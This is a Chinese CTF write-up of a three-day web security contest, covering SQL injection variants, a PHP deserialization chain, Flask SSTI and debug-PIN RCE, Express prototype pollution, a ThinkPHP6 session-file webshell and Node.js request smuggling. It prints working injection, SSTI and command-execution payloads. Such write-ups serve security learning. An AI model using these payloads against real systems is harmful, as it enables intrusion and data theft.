这个比赛应该不会有2021了吧?
Day1
简单的招聘系统
对用户名进行注入,登录后看回显即可
payload:'+(select conv(substr(hex((select GROUP_CONCAT(flaaag) from flag)),1,10),16,10))+'
得到后转16进制再转字符串即是flag
Ezupload
这题也是裸奔,直接传个一句话上去/readflag
就行了
盲注
1 | <?php |
这题过滤了select
,也看不出可以堆叠就不知道怎么整,没想到那个f14g
是列名。至于其它的like,=,>,<
被过滤都是小问题,一个regexp
就能绕过
看了wp才知道还有这种操作if(length(database()) regexp 4,sleep(3),1)
好好想想确实,返回的既然是一个数确实没问题
不过这个就真的没想到if(ascii(substr(fl4g,1,1)) = 102 ,sleep(3),1)
居然可以直接用列名,学习了学习了,以后盲注连select
都省了hhh
easyphp
这题挺有意思的,可惜做的时间太晚了,8点多才开始做,出flag时已经11点了有可惜
进入提示有后门,狗妈i了i了
于是扫一下,发现www.zip
,下载得到源码
先看login.php
1 | <?php |
可以看到又是把select过滤了,而且进到lib里
1 | $mysqli=new dbCtrl(); |
1 | $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database); |
可以看到使用了预处理,也就是就算有办法绕过但在预处理的作用下也无法注入
不过既然题目提示了后门,那应该就不是通过这里去注入。于是去看看其它
1 | <?php |
update.php
提示是一个未完成的页面,应该就是后门
1 | public function update(){ |
update()
中有个反序列化,八成是序列化的题了,再跟下去
1 | public function getNewInfo(){ |
getNewInfo()
中将实例化的info类给序列化,然后用safe()
处理了一下序列化后的字符串
1 | function safe($parm){ |
当时第一眼看safe()
,就只是觉得是单纯的防sql,但没想到是这题的突破点
1 | class Info{ |
跟进到Info类中,__call()
中使用了login()
,很容易就能想到触发这里然后让CtrlCase
为dbCtrl类,这样就能执行任意sql了。但CtrlCase
并无法控制
这时又往上翻,看到了User类中的__destruct()
1 | public function __destruct(){ |
就想能不能触发这个,但总觉得不会是这里于是又找了一下其它链
1 | public function __toString() |
User类中还有一个__toString()
,里面调用的update()
正好是Info类中没有的,那可以让nickname
为Info类去触发__call()
然后就是该怎么触发__toString()
了,在UpdateHelper类中看到
1 | public function __destruct() |
__destruct()
将sql
作为字符串输出,那又是要将sql
为User类
最后又回到最初的问题,要怎么控制反序列化
这时再看了一次safe()
,发现里面过滤了\
,当时没细看,以为是把\
替代为空,就想着能不能利用这里,把转义的\"
的\
去掉。但测试了一下大失所望
1 | <?php |
随便整一个类输出一下
发现反序列化时并没用转义,而是先匹配一个"
,再匹配等长度的字符串,最后再匹配一个"
。字符串中就算带有"
也不会作为结束的"
进行匹配
于是又回去看了一眼safe()
,发现是替代为hacker
,突然就明白了。这里要利用safe()
,将短于hacker
的字符串扩增长度为6,以匹配长度。然后用"
绕出,控制下一个参数。至于原本在后面的,用}
结尾就不会再往后解析
一开始尝试的是直接利用User类中的__destruct()
,但发现flag
被过滤了,于是就走另一条路UpdateHelper:__destruct() -> User:__toString() -> Info:__call() -> dbCtrl:login()
然后利用* flag
替换为hacker
补全
1 | <?php |
获得密码,解密为glzjin
登录得到flag
一开始用的是Info中的nickname
导致这里
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
作为字符串使用出了错(突然想到是不是可以利用这里去触发User类的__toString()
),搞了好久,改用CtrlCase
就可以了。细节上还是要多注意
Day2
第二日为sql专场
easysqli_copy
1 | <?php |
PDO注入,之前因为整hgame过PDO的问题,这里一看用了gbk就知道是宽字节注入
从宽字节注入认识PDO的原理和正确使用
而且并没有设置PDO::MYSQL_ATTR_MULTI_STATEMENTS
为false
,那直接预处理,过滤基本可以无视掉
直接正常的盲注语句,转为16进制后套入1%df';SET @sql=concat(char(SQL));PREPARE kaze from @sql;EXECUTE kaze;
1 | # -*- coding:utf8 -*- |
不过一开始不知道为什么跑不动表名,不过长度可以跑。确认长度是6,库中只有一个table1表后跑列值都没问题(为啥?
blacklist
这题看起来像强网杯的题,然而把预处理也过滤了,绝望.jpgreturn preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
0';show tables;
可以看到flag的表名FlagHere
后面又是奇淫技巧了,mysql中有handler
这个关键字
mysql查询语句-handler
可以通过这个关键字,能使用多行sql以及在知道表名的情况下,不用select
直接读列handler a open;handler a read first; 读第一行
handler a open;handler a read next; 读下一行
于是payload就是0';handler FlagHere open;handler FlagHere read first;
Ezsqli
BUU灵魂前端x
这题很难受,in
和or
被过滤,有root权限但information_schema
库和mysql.innodb_table_stats
表都读不了。union.*select,join
被过滤,用不了无列名注入
当时搜集信息时发现是有sys
库的权限的,但知识不足没往这个方向想sys
中有这两个表x$schema_flattened_keys
,schema_table_statistics
可以获得表名信息,不过发现sys
库中带有table
的库名大多都会保存表名信息,以后可以多利用利用,不过需要mysql5.7
以上
有这个表,通过盲注就可以注出表名了
1 | 1 && (select((select length(group_concat(table_name)) from sys.x$schema_flattened_keys where table_schema=database())>30))*999*pow(999,102) |
1 | # -*- coding:utf8 -*- |
然后就是无列名注入了,这里继续是奇淫技巧
我们可以通过这样去比较两个检索结果,mysql中会对其一个个字段值进行比较并返回真假
于是测试了一下
1 | select ((select 1,2) < (select 1,2)) |
可以看到,当比较数字与其它时,都会转为int来比较。同时是按顺序比较,第二个值的比较结果并不会影响第一个值的比较结果。还有同mysql中许多比较字符的函数一样,不区分大小写。当然最重要的是要列数相等
可以使用binary去将字符串转为二进制这样就可以区分大小写,但过滤了in时就用不了
可以换使用concat("a",CAST(0 AS JSON)),CAST(0 AS JSON)
出来的值为二进制字符串,concat连接后整个字符串都为二进制
测试一下
1 | SELECT (concat("a",CAST(0 AS JSON)) = concat("A",CAST(0 AS JSON))) |
确实可以区分大小写
于是合并一下,并改成查询就是1 && (select((select * from table) > (select 1,concat("!",cast(0 as json)))))
原题列数or
被过滤用不了order by
,可以用group by
来得出列数。BUU上吧.+by
过滤了,可以改用这样1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,1)))
两列时error,其它都返回false
然后BUU上又把.+limit
给过滤了,不过既然只有一行就不limit 1
了
本来应该是这样子的1 && (select((select * from f1ag_1s_h3r3_hhhhh) > (select 1,concat("!",cast(0 as json)))))
但不知道BUU的环境搞什么鬼,cast(0 as json)
用不了,直接cast(1 as json)
都false,正常应该是Nu1L才对。不能用就算了,反正BUU的flag都是小写(面向BUU注入x
1 | # -*- coding:utf8 -*- |
要命的是正好跑到最后正好是by
被过滤了,整了好久
Day3
最后一天有点累就没怎么打
Flaskapp
这题考的是PIN码,不过实际上好像并没用过滤到位,导致还是能直接SSTI
关于python的PIN码
从一道ctf题谈谈flask开启debug模式存在的安全问题
简单来说就是能够通过搜集,获得生成PIN码的元素,并且在debug开启下可以通过PIN码通过认证进行RCE
这题因为是Flask所以当时用的是{ {config.from_pyfile()} }
去读取文件,没想到这个的权限不足以读取/etc/passwd
,但通过其它方式可以
这是大佬们给出的payload{ % for c in [].__class__.__base__.__subclasses__() %}{ % if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('file', 'r').read() }}{ % endif %}{ % endfor %}
(这里由于hexo的问题,需要删掉{和%间的空格)
原来SSTI还能这么操作,学到了学到了
通过这样读取这几个文件
1 | /sys/class/net/eth0/address 获得mac地址 |
这里要注意的是docker下从/etc/machine-id
得到的machine-id是算不正确PIN的
然后报错页面获得路径/usr/local/lib/python3.7/site-packages/flask/app.py
1 | import hashlib |
脚本填入对应的值,跑一下就出了
然后进入debug页面(就解码的页面随便输个错误的base64编码值),用PIN码进入python shell
不过os.system()
被过滤,可以用os.popen()
代替扫目录
读flag
当然更简单的就是
1 | {{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls /').read()}} |
用fla\g
绕过flag
的过滤
现在想想当时明明知道是python3为什么一直在用python2找能用的模块(傻了
ezExpress
express,又是原型链
进入提示要admin账号,那自然是不能注册为admin的
注册个其他账号进入,查看源码发现www.zip
,拿下来
/route/index.js
中用了merge()
和clone()
,必是原型链了
1 | const merge = (a, b) => { |
往下找到clone()
的位置
1 | router.post('/action', function (req, res) { |
需要admin账号才能用到clone()
于是去到/login
处
1 | router.post('/login', function (req, res) { |
1 | function safeKeyword(keyword) { |
可以看到验证了注册的用户名不能为admin(大小写),不过有个地方可以注意到
'user':req.body.userid.toUpperCase(),
这里将user给转为大写了,这种转编码的通常都很容易出问题,于是测试一下
1 | <!DOCTYPE html> |
可以看到结果中
1 | I: |
I和S都有3个值能够toUpperCase()
后为自身,除了大小写外还有其它toUpperCase()
后能为I和S。那正好利用I的第三个值去绕过正则检测并在toUpperCase()
后为I
当然toUpperCase()
有转码的问题toLowerCase()
也有,可以改一下去测试(不过不要用edge测)
能登入为admin账号后,就该开始找要污染的参数
1 | router.get('/info', function (req, res) { |
可以看到在/info
下,使用将outputFunctionName
渲染入index
中,而outputFunctionName
是未定义的
res.outputFunctionName=undefined;
也就是可以通过污染outputFunctionName
进行SSTI
于是抓/action
的包,Content-Type
设为application/json
通过报错查到项目路径
于是将flag写入到/app/public/flag
Payload:{"__proto__":{"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag > /app/public/flag');var _tmp2"}}
然后访问/info
后再去/flag
拿到flag
除此之外还能直接return在访问/info
返回flag文件(需要同步执行{"__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}
官方的wp给的是反弹shell,但怎样都成功不了懵逼
easy_thinking
看题名感觉就是TP的题,居然是TP6的漏洞,果然新出的版本问题多
随便访问一下可以看到是TP6.0
然后扫一下发现又是在www.zip
源码泄露
1 | public function search() |
一开始还以为又是sql注入,不过看了search的源码后,发现根本没用到数据库。倒是把搜索值写入了session中,于是查一下tp6关于session的漏洞
看到这篇
ThinkPHP6 任意文件操作漏洞分析
我们可以控制PHPSESSID
为32位长度(包含后缀名)去控制session文件名,然后利用逻辑上的漏洞往session中写入一个shell,这样就可以通过session文件执行一句话
于是像这样在登录处构造PHPSESSID
在搜索处写入php代码
发现system()
不能用,于是查看disable_functions
执行命令的函数基本被过滤,虽然putenv
没被过滤,但error_log
和mail
都被过滤了
而官方wp给出的gnupg扩展BUU并没有(就是用gnupg_init()
,其它相同)
于是先看看flag在哪
可以看到要用readflag去读flag
接着四处寻找找到了这里
exploits
修改一下要执行的命令即可
1 | <?php |
不过脚本太大要先整一个上传文件脚本上去
1 | file_put_contents('kotori.html','<html><body><form action="kotori.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id="file" /><input type="submit" name="submit" value="Submit" /></form></body></html>'); |
然后上传脚本访问得到flag
至于这个脚本的原理就是pwn方向的东西了Orz
NodeGame
拿下源码,读到/file_upload
1 | if (!ip.includes('127.0.0.1')) { |
可以看到上传接口只允许本地访问
往下看,看到/core
1 | var url = 'http://localhost:8081/source?' + q |
虽然可以发送请求但只能向/source
,估计就是要想办法绕出这个限制。这里自然就会想到http走私,但是nodejs对换行符会进行处理,防止CRLF
不过在nodejs 8.12.0
版本中存在着会将高位字符丢弃,只保留低位字符的问题。也就是发出http请求传入0xffff
,最终会被处理为0xff
Bug:HTTP请求路径中的unicode字符损坏
通过这个漏洞就可以进行http走私,同时也可以不用考虑黑名单的过滤
1 | function blacklist(url) { |
python下这样处理一下就行payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
然后就是要传什么上去了,nodejs不能像php一样传一个马上去执行
这里看到在/
下可以通过action
去调用一个模板
1 | app.get('/', function(req, res) { |
在开始也引入了模板的包
var pug = require('pug');
于是去查一下pug模板的使用
pug模板引擎(原jade)
基本和html差不多,要注意的是如果要使用js代码,需要在代码前用-
标记
构造一下上传的http包(这里调了好久)
然后通过控制Content-Type
,将文件上传到template目录下,使pug文件能被读到
var file_path = '/uploads/' + req.files[0].mimetype +"/";
这里还需要将\n
换为\r\n
来造成CRLF
1 | import urllib.parse |
读一下根目录
flag文件是flag.txt
,于是cat /flag.txt
得到flag
这里也可以通过include来读flag
1 | html |
至于反弹shell,好像BUU弹不了就算了
这题的原题也可以去看看
Split second